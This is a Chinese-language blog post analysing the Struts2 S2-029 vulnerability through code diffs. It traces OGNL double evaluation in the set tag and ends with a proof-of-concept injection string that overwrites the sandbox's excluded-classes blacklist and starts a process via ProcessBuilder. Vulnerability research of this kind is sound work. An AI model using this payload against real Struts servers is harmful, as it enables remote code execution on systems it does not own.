Struts框架s2-29远程代码执行漏洞猜想
ccwgpt 2025-06-03 20:41 21 浏览 0 评论
在315打假日,知名的Java Web框架Struts2发布了新一轮的安全公告,其中最惹国内眼球的,当属这个s2-29——Possible Remote Code Execution vulnerability,可能存在远程代码执行漏洞。对于这个漏洞我第一时间就是一直在跟踪,但是由于官方透露的细节是在台上,所以这里我只能通过github上代码的变更信息,来猜测这个漏洞点。所以本篇文章仅供各位参考。
0x01 漏洞猜想
由于之前Struts2出现问题时,官方被安全人员和使用者训斥,不应该在安全公告中透露漏洞细节以及利用方法,所以这次官方很乖的在公告里写了一些很模糊的内容。
The Apache Struts frameworks performs double evaluation of attributes’ values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.
从这些内容中我们只能大概的知道在Struts的某些标签会在渲染的时候被执行两次,所以在新版本中修复了这个问题。在公告中说升级到2.3.25可以解决这个问题,所以我去github上diff了2.3.24.1和2.3.25两个版本。这两个版本中间commit了84次。我查看了所有的commit的代码部分,发现有几条看似像是关于这个漏洞相关的内容。
从内容来猜测,前两张图中的修改应该是用于完善沙盒检测机制的,因为这个修改,导致了官方后面出现了一个乌龙事件,这个我们留到后面再说。
好了,下面我们来看第三张图片了,看commit的描述reduces(减少)似乎与double有些关联,而且修改的component.java是所有标签的一个基类。而且从代码变化上来看,应该是减少不必要的Ognl表达式执行。代码对比如下:
2.3.24.1
1234567891011121314151617181920212223242526 | //core/src/main/java/org/apache/struts2/components/Component.javaprotectedObjectfindValue(Stringexpr,ClasstoType){protectedObjectfindValue(Stringexpr,ClasstoType){if(altSyntax()&&toType==String.class){if(altSyntax()&&toType==String.class){-returnTextParseUtil.translateVariables('%',expr,stack);+if(ComponentUtils.containsExpression(expr)){+returnTextParseUtil.translateVariables('%',expr,stack);+}else{+returnexpr;+}}else{}else{expr=stripExpressionIfAltSyntax(expr);//core/src/main/java/org/apache/struts2/util/ComponentUtils.java-*@paramvalue totreat asan expression+*@paramexpr totreat asan expression*@returntrueifit isan expression*@returntrueifit isan expression*/*/-publicstaticbooleanisExpression(Objectvalue){+publicstaticbooleanisExpression(Stringexpr){-Stringexpr=value.toString();returnexpr.startsWith("%{")&&expr.endsWith("}");returnexpr.startsWith("%{")&&expr.endsWith("}");}} |
2.3.25
12345678910111213141516171819202122232425262728293031 | //core/src/main/java/org/apache/struts2/components/Component.javaprotectedObjectfindValue(Stringexpr,ClasstoType){if(altSyntax()&&toType==String.class){if(altSyntax()&&toType==String.class){-returnTextParseUtil.translateVariables('%',expr,stack);+if(ComponentUtils.containsExpression(expr)){+returnTextParseUtil.translateVariables('%',expr,stack);+}else{+returnexpr;+}}else{}else{expr=stripExpressionIfAltSyntax(expr);expr=stripExpressionIfAltSyntax(expr);//core/src/main/java/org/apache/struts2/util/ComponentUtils.java+*@paramexpr totreat asan expression*@returntrueifit isan expression*@returntrueifit isan expression*/*/-publicstaticbooleanisExpression(Objectvalue){+publicstaticbooleanisExpression(Stringexpr){-Stringexpr=value.toString();returnexpr.startsWith("%{")&&expr.endsWith("}");returnexpr.startsWith("%{")&&expr.endsWith("}");}}+publicstaticbooleancontainsExpression(Stringexpr){+returnexpr.contains("%{")&&expr.contains("}");+}+}} |
这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%{2+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。下面问题来了,这种要依赖Struts二次开发人员的奇葩代码风格的问题会被当成CVE吗?这个我是说不清楚,不过从描述和代码上来看,不是没有这种可能。
下面我们来看最后一张图片,这个修改就很有意思了,修改Xwork在底层和ognl的接口函数——setValue。去掉了这个函数的最后一个参数——evalName,这个参数的作用是用来判断是不是参数名的,如果是参数名那么绝不当做ognl表达式执行。这个参数最开始的使用者是参数拦截器中的setParameter方法,用来防止类似s2-03,s2-09这样的问题。但是官方应该是发现有一些他们不记得在哪里用过的setValue可能也存在这样的问题,那么索性就所有的参数名都不允许当做表达式执行好了,所以进行了这次修改。
之后我搜索了下关于这个setValue的使用情况,比较值得注意的有几个个点:Component类的copyParams参数,不过貌似没有被调用过;Set容器类,不过需要攻击者可以操控var属性内容;还有就是Cookie拦截器中,前提肯定是需要远程服务端配置好参数拦截器。相比较来说这个修改面对的问题就比较大了,毕竟Cookie拦截器使用的人也是不少的。所以我猜测s2-29的修复应该是这个点的可能性比较大。
0x02 漏洞构造&利用
我懒得去配置Cookie拦截器了,所以这里使用的是set标签,代码很简单:
<set var="%{#parameters.tang3}"/>
我知道你可能要吐槽%{}这种写法问题会很大,我这里只是单纯的想表示一下var属性可控的情况,不会对后面的执行产生实质影响的。
我们使用http://ip/test.action?tang3=attack来先看一下流程,首先是ContexBean Tag这个基类,在他的处理过程中所有标签的var属性都会通过ContextBean的setVar函数进行一次赋值,他的赋值代码如下:
12345 | publicvoidsetVar(Stringvar){if(var!=null){this.var=findString(var);}} |
如果你熟悉Struts2的标签实现代码,就会知道findString会对参数进行一次ognl表达式执行,他最终的执行代码就是我们分析第三张图中的那个findValue函数,findString的var参数就是findValue的exp参数。从下面图中可以看出tang3的值已经被取出来了(忽略掉内容的问题,后面会详细解释Poc为什么会长这样):
我们继续向下走,到了Set类的end方法中,我们发现,代码是这样的:
123456789101112131415161718192021222324252627282930 | publicbooleanend(Writer writer,Stringbody){ValueStack stack=getStack();Objecto;if(value==null){if(body!=null&&!body.equals("")){o=body;}else{o=findValue("top");}}else{o=findValue(value);}body="";if("application".equalsIgnoreCase(scope)){stack.setValue("#application['"+getVar()+"']",o);}elseif("session".equalsIgnoreCase(scope)){stack.setValue("#session['"+getVar()+"']",o);}elseif("request".equalsIgnoreCase(scope)){stack.setValue("#request['"+getVar()+"']",o);}elseif("page".equalsIgnoreCase(scope)){stack.setValue("#attr['"+getVar()+"']",o,false);}else{stack.getContext().put(getVar(),o);stack.setValue("#attr['"+getVar()+"']",o,false);}returnsuper.end(writer,body);} |
看到那一堆的setValue了没有,我们刚才讨论的就是它!它实现一个三个参数的重载,实现代码是这样的:
123 | publicvoidsetValue(Stringname,Map<String,Object>context,Objectroot,Objectvalue)throwsOgnlException{setValue(name,context,root,value,true);} |
没什么可说的了,evalName值是true,也就是说可以直接执行name中的ognl表达式。而getVar返回的内容,就是我们刚才的this.var值。
剩下的就是PoC构造的了,如我们所看到的拼接代码,我们需要封闭原有的表达式,然后构造合法语句,所以PoC就长成了这个样子:
1 | a']=1,ongl,#attr['a |
ongl部分可以替换为任意ongl表达式语句,但是还有一个问题,就是Struts存在一个沙盒,防止ognl执行危险的java代码。这里我从阿里的文章中受到了启发,并且通过安恒的文章学到了这个技巧,那就是通过覆盖沙盒的黑名单成员变量,来实现绕过。所以之后我谈计算器的Poc长这个样子:
1 | a']=1,#_memberAccess["excludedClasses"]={1},new java.lang.ProcessBuilder('calc').start(),#attr['a |
0x03 漏洞八卦
Struts框架漏洞曾经深深的伤害过国内大大小小的网站,也使很多安全公司深深的体会到到过事件运营的“乐趣”,所以Struts稍微有个安全公告大家都有一种打了鸡血的干劲。但有时候事与愿违,官方这次一点细节也不透露,只能靠猜,影响了质量和速度,实在是运营的一大悲哀啊。
这次漏洞的修复过程还是很欢乐,官方在测试沙盒规则时,应该是为了方便测试去掉了沙盒的代码,结果当我查看commit是看到了下面这一幕:
是的!他把沙盒给删了~~看到这里是我是一脸懵逼的状态,直到我看到了2.3.26的commit:
我笑抽了,我真的笑抽了~~所以Struts在外的发布版本中只有2.3.25BETA系列,而没有真正的2.3.25版本。
对了,还有一个就是,大家都以为目前大家看到的绕过沙盒PoC真的在2.3.26中已经没用了吗?反正我的PoC只能在2.3.24.1中用。
PS:苦逼的官方现在已经在测试2.3.27版本了大家准备好下一波升级吧~~
0x04 参考文章
【1】《Struts2 S2-029远程代码执行漏洞初探》
【2】《s2-029 Struts2 标签远程代码执行分析》
如果您需要了解更多内容,可以
加入QQ群:486207500
相关推荐
- 一个基于.Net Core遵循Clean Architecture原则开源架构
-
今天给大家推荐一个遵循CleanArchitecture原则开源架构。项目简介这是基于Asp.netCore6开发的,遵循CleanArchitecture原则,可以高效、快速地构建基于Ra...
- AI写代码翻车无数次,我发现只要提前做好这3步,bug立减80%
-
写十万行全是bug之后终于找到方法了开发"提示词管理助手"新版本那会儿,我差点被bug整崩溃。刚开始两周,全靠AI改代码架构,结果十万行程序漏洞百出。本来以为AI说没问题就稳了,结果...
- OneCode低代码平台的事件驱动设计:架构解析与实践
-
引言:低代码平台的事件驱动范式在现代软件开发中,事件驱动架构(EDA)已成为构建灵活、松耦合系统的核心范式。OneCode低代码平台通过创新性的注解驱动设计,将事件驱动理念深度融入平台架构,实现了业务...
- 国内大厂AI插件评测:根据UI图生成Vue前端代码
-
在IDEA中安装大厂的AI插件,打开ruoyi增强项目:yudao-ui-admin-vue31.CodeBuddy插件登录腾讯的CodeBuddy后,大模型选择deepseek-v3,输入提示语:...
- AI+低代码技术揭秘(二):核心架构
-
本文档介绍了为VTJ低代码平台提供支持的基本架构组件,包括Engine编排层、Provider服务系统、数据模型和代码生成管道。有关UI组件库和widget系统的信息,请参阅UI...
- GitDiagram用AI把代码库变成可视化架构图
-
这是一个名为gitdiagram的开源工具,可将GitHub仓库实时转换为交互式架构图,帮助开发者快速理解代码结构。核心功能一键可视化:替换GitHubURL中的"hub...
- 30天自制操作系统:第六天:代码架构整理与中断处理
-
1.拆开bootpack.c文件。根据设计模式将对应的功能封装成独立的文件。2.初始化pic:pic(可编程中断控制器):在设计上,cpu单独只能处理一个中断。而pic是将8个中断信号集合成一个中断...
- AI写代码越帮越忙?2025年研究揭露惊人真相
-
近年来,AI工具如雨后春笋般涌现,许多人开始幻想程序员的未来就是“对着AI说几句话”,就能轻松写出完美的代码。然而,2025年的一项最新研究却颠覆了这一期待,揭示了一个令人意外的结果。研究邀请了16位...
- 一键理解开源项目:两个自动生成GitHub代码架构图与说明书工具
-
一、GitDiagram可以一键生成github代码仓库的架构图如果想要可视化github开源项目:https://github.com/luler/reflex_ai_fast,也可以直接把域名替换...
- 5分钟掌握 c# 网络通讯架构及代码示例
-
以下是C#网络通讯架构的核心要点及代码示例,按协议类型分类整理:一、TCP协议(可靠连接)1.同步通信//服务器端usingSystem.Net.Sockets;usingTcpListene...
- 从复杂到优雅:用建造者和责任链重塑代码架构
-
引用设计模式是软件开发中的重要工具,它为解决常见问题提供了标准化的解决方案,提高了代码的可维护性和可扩展性,提升了开发效率,促进了团队协作,提高了软件质量,并帮助开发者更好地适应需求变化。通过学习和应...
- 低代码开发当道,我还需要学习LangChain这些框架吗?| IT杂谈
-
专注LLM深度应用,关注我不迷路前两天有位兄弟问了个问题:当然我很能理解这位朋友的担忧:期望效率最大化,时间用在刀刃上,“不要重新发明轮子”嘛。铺天盖地的AI信息轰炸与概念炒作,很容易让人浮躁与迷茫。...
- 框架设计并不是简单粗暴地写代码,而是要先弄清逻辑
-
3.框架设计3.框架设计本节我们要开发一个UI框架,底层以白鹭引擎为例。框架设计的第一步并不是直接撸代码,而是先想清楚设计思想,抽象。一个一个的UI窗口是独立的吗?不是的,...
- 大佬用 Avalonia 框架开发的 C# 代码 IDE
-
AvalonStudioAvalonStudio是一个开源的跨平台的开发编辑器(IDE),AvalonStudio的目标是成为一个功能齐全,并且可以让开发者快速使用的IDE,提高开发的生产力。A...
- 轻量级框架Lagent 仅需20行代码即可构建自己的智能代理
-
站长之家(ChinaZ.com)8月30日消息:Lagent是一个专注于基于LLM模型的代理开发的轻量级框架。它的设计旨在简化和提高这种模型下代理的开发效率。LLM模型是一种强大的工具,可以...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- 框架图 (58)
- flask框架 (53)
- quartz框架 (51)
- abp框架 (47)
- springmvc框架 (49)
- 分布式事务框架 (65)
- scrapy框架 (56)
- shiro框架 (61)
- 定时任务框架 (56)
- java日志框架 (61)
- mfc框架 (52)
- abb框架断路器 (48)
- beego框架 (52)
- java框架spring (58)
- grpc框架 (65)
- tornado框架 (48)
- 前端框架bootstrap (54)
- orm框架有哪些 (51)
- 知识框架图 (52)
- ppt框架 (55)
- 框架图模板 (59)
- 内联框架 (52)
- cad怎么画框架 (58)
- ssm框架实现登录注册 (49)
- oracle字符串长度 (48)